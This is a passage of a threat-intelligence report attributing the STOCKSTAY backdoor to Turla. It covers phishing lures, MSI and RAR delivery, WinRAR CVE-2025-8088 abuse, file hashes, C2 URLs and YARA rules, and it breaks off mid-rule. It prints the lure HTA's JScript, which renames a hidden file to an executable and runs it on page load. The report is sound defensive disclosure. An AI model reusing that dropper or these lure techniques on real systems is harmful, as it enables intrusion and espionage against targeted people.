A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.

This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.

Component	Filename
STOCKSTAY.STOCKMARKET	StockMarketView.exe
STOCKSTAY.STOCKBROKER	StockMarketNet.exe
STOCKSTAY.STOCKTRADER	StockMarketSystem.exe

Table 7: STOCKSTAY component filenames observed in December 2023

Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.

Filename	Description	SHA-256
`apps_libwallets_v1.3.rar`	RAR archive containing STOCKSTAY components	`81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec`
`StockMarketNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b`
`StockMarketSystem.exe`	STOCKSTAY.STOCKTRADER backdoor	`0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b`
`default.conf`	STOCKSTAY configuration file	`2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7`

Table 8: File indicators

January 2024: Ukraine

GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization.

During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.

During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.

The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of wss://wool-basalt-clock.glitch.me/ws. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.

Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.

Indicator	Description
`wss://wool-basalt-clock.glitch.me/ws`	STOCKSTAY WebSocket C2

Table 9: Network indicators

February 2024: Italy

An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under %LOCALAPPDATA%/Programs/SMN/, and enabled persistent execution via registry run keys.

The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.

In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:

viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php

When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (https://www.circoloesteri.it/), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.

Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%

Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri

Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.

In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address wss://wool-basalt-clock.glitch.me/ws. This matches the C2 address used in January 2024.

Filename	Description	SHA-256
`Copia.msi`	MSI containing STOCKSTAY components	`b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb`
`StockMarketNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb`
`StockMarketSystem.exe`	STOCKSTAY.STOCKTRADER backdoor	`b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a`
`default.conf`	STOCKSTAY configuration file	`40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50`

Table 10: File indicators

Indicator	Description
`https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php`	Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.
`wss://wool-basalt-clock.glitch.me/ws`	STOCKSTAY WebSocket C2

Table 11: Network indicators

March 18 – April 3, 2025: Ukraine

On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution.

Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL wss://weatherdataai.theworkpc.com/ws.

According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March 31.

Filename	Description	SHA-256
`MicrosoftUpdateOneDrive.exe`	STOCKSTAY.MARKETMAKER Downloader	`da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40`
`docs.zip`	ZIP archive containing STOCKSTAY components	`9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73`
`SMEditor.exe`	STOCKSTAY.STOCKTRADER backdoor	`e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722`
`SMNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0`
`fonts`	STOCKSTAY configuration file	`40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3`

Table 12: File indicators

Indicator	Description
`https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip`	Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components
`wss://weatherdataai.theworkpc.com/ws`	STOCKSTAY WebSocket C2

Table 13: Network indicators

May 14, 2025: Poland

GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May 14, 2025 from Poland.

The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.

Filename	Description	SHA-256
`ClientMNGR2.exe`	STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER	`d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43`
`GR3.exe`	STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER	`98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397`

Table 14: File indicators

May 28 – August 8, 2025: Ukraine — Deployment via Malicious HTA

On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.

Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta

<script language="JScript">
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
</script>

Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta

The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance.

Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May 28, 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025.

Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.

GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May 13, 2025.

Filename	Description	SHA-256
`calculator.rar`	RAR archive containing STOCKSTAY components	`6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342`
`Калькулятор грошового забезпечення військовослужбовців 2025.hta`	HTA lure (translated filename: “Military personnel cash benefit calculator 2025.hta”)	`0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4`
`styles.dat.exe`	STOCKSTAY.MARKETMAKER downloader	`626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459`
`EditorToolsPdf.zip`	ZIP archive containing STOCKSTAY components	`447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4`
`ViewPdf.exe`	STOCKSTAY.STOCKMARKET orchestrator	`45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893`
`ClientMNGR.exe`	STOCKSTAY.STOCKBROKER tunneler	`80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661`
`ConverterDDSNet.exe`	STOCKSTAY.STOCKTRADER backdoor	`55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c`
`fonts`	STOCKSTAY configuration file	`e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff`

Table 15: File indicators

Indicator	Description
`https://basecon.com.ua/calculator.rar`	RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader
`https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip`	Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive
`wss://canal1zac1a.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 16: Network indicators

July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files

GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, Roberto1983-ai, was created on July 23, 2025 at 12:01:03.

On July 24, 2025, the account created a public repository named msi_installer_test2, into which a single file was uploaded: DiplomacyEduAI.msi. A second repository, this time named msi_installer_test3, was created by the same user on July 28, 2025, and subsequently populated with another version of DiplomacyEduAI.msi.

Both versions of DiplomacyEduAI.msi contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL wss://canal1zac1a.onrender.com/ws. GTIG has been unable to identify any active operations using these specific MSI files.

Filename	Description	SHA-256
`DiplomacyEduAI.msi`	MSI containing STOCKSTAY components	`19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9`
`DiplomacyEduAI.msi`	MSI containing STOCKSTAY components	`6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e`
`ClientMNGR.exe`	STOCKSTAY.STOCKBROKER tunneler	`80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661`
`ViewPdf.exe`	STOCKSTAY.STOCKMARKET orchestrator	`45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893`
`ConverterDDSNet.exe`	STOCKSTAY.STOCKTRADER backdoor	`d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3`
`fonts`	STOCKSTAY configuration file	`4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320`

Table 17: File indicators

Indicator	Description
`wss://canal1zac1a.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 18: Network indicators

August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code

GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, ChikenFresh, was created on August 14, 2025, then almost immediately created a public repository named google-ai-labs-it, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.

The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their WebSocket hosting capabilities.

Filename	Description	SHA-256
`server.py`	Python STOCKSTAY C2 controller	`f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed`
`models.py`	Database table definitions and models for use by `server.py`	`7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78`
`wtools.py`	Utility functions for use by `server.py`	`b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636`

Table 19: File indicators

Indicator	Description
`wss://google-ai-labs-it.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 20: Network indicators

November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088

On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (CVE-2025-8088) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our Government Backed Attack Warning (GBAW) notifications.

GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).

Figure 10: “Report” Decoy document from November 2025

The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).

Figure 11: “Equipment List” Decoy document from November 2025

Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.

GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.

Component	Filename
STOCKSTAY.STOCKMARKET	`MSViewer.exe`
Shared STOCKSTAY core module	`ms-lib-math-core.dll`
STOCKSTAY.STOCKBROKER	`MSDriver.exe`
STOCKSTAY.STOCKBROKER core module	`ms-api-wmcpdt.dll`
STOCKSTAY.STOCKTRADER	`MSRender.exe`
STOCKSTAY.STOCKTRADER core module	`ms-api-win-render.dll`

Table 21: STOCKSTAY component filenames observed in November 2025

GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL wss://driverx86-adobe.onrender.com/ws; however, we were able to identify at least one instance of STOCKSTAY using wss://google-ai-labs-it.onrender.com/ws, corresponding to the previously described GitHub repository associated with the ChikenFresh user.

Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory.

GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.

Filename	Description	SHA-256
`MSViewer.exe`	STOCKSTAY.STOCKMARKET orchestrator	`a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce`
`MSViewer.exe`	STOCKSTAY.STOCKMARKET orchestrator	`e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8`
`MSDriver.exe`	STOCKSTAY.STOCKBROKER tunneler	`c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9`
`MSRender.exe`	STOCKSTAY.STOCKTRADER backdoor	`667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38`
`ms-lib-math-core.dll`	Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components	`b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89`
`ms-api-win-render.dll`	Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER	`1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851`
`ms-api-wmcpdt.dll`	Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component	`e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714`
`MSViewer.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKMARKET	`3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14`
`MSRender.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKTRADER	`77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167`
`MSDriver.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKBROKER	`813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5`
`fonts`	STOCKSTAY configuration file	`e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3`
`fonts`	STOCKSTAY configuration file	`f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da`

Table 22: File indicators

Indicator	Description
`wss://driverx86-adobe.onrender.com/ws`	STOCKSTAY WebSocket C2
`wss://google-ai-labs-it.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 23: Network indicators

Attribution

GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:

STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia.
STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.
GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.

Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.

Detections

Google Security Operations (SecOps)

SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:

Archiver Extraction To Windows Startup
Registry Write Registry Run Keys
Registry Write to Run Registry Key
Potential RDP File Write From Phishing
RDP Connection Initiated from Staging Directory
Onrender Subdomain Suspicious DNS Query

YARA Rules

rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize > 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}

rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}

rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}

rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}

rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}

rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}

rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
